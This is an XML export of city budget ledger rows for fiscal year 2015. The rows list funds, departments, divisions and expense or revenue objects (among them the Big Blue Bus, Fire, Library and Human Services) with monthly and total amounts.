<row _id="17722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4896</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4896</total></row>
<row _id="17723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>700368</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>700368</total></row>
<row _id="17724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4800</total></row>
<row _id="17725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522315.0</object><object_description>MULTIMEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12400</total></row>
<row _id="17726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522546.0</object><object_description>MEDIA BUYS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>597147</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>597147</total></row>
<row _id="17728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35761</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35761</total></row>
<row _id="17729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402650.0</object><object_description>NON-TRANSP REV-OPER</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-26399</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26399</total></row>
<row _id="17730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404080.0</object><object_description>INTEREST - CAPITAL</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-142701</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-142701</total></row>
<row _id="17731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407340.0</object><object_description>US TREASURY REIMBURSEMENTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-39615</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-39615</total></row>
<row _id="17732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555980.0</object><object_description>COST OF BOND ISSUANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400000</total></row>
<row _id="17733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>214</total></row>
<row _id="17734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522318.0</object><object_description>SAFETY &amp; SERVICE AWARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="17735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>577130.0</object><object_description>CONSUMER PROTECTION UNIT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15074</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15074</total></row>
<row _id="17736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>577140.0</object><object_description>DISABILITY ACCOMODATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="17737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>256250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>256250</total></row>
<row _id="17738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401040.0</object><object_description>DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400790.0</object><object_description>OUTDOOR DINING-TRANSIT MALL AR</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-92010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-92010</total></row>
<row _id="17740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26908</total></row>
<row _id="17741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>327420</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>327420</total></row>
<row _id="17742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21460</total></row>
<row _id="17743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>205</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>205</total></row>
<row _id="17744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9711</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9711</total></row>
<row _id="17745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3487</total></row>
<row _id="17746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5857</total></row>
<row _id="17747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1908</total></row>
<row _id="17748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3077</total></row>
<row _id="17749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>106357</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106357</total></row>
<row _id="17750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="17751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>TURNING POINT-PROP A</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404770.0</object><object_description>PROP C LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1353554</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1353554</total></row>
<row _id="17753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26716</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26716</total></row>
<row _id="17754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17500</total></row>
<row _id="17755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>389999</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>389999</total></row>
<row _id="17756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14090</total></row>
<row _id="17757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>630880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>630880</total></row>
<row _id="17759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>715436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>715436</total></row>
<row _id="17760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="17761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>429125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>429125</total></row>
<row _id="17762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>47719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47719</total></row>
<row _id="17763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14090</total></row>
<row _id="17764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>203546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>203546</total></row>
<row _id="17765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10620</total></row>
<row _id="17767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="17768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>171270</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>171270</total></row>
<row _id="17769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>353218</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>353218</total></row>
<row _id="17770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38940</total></row>
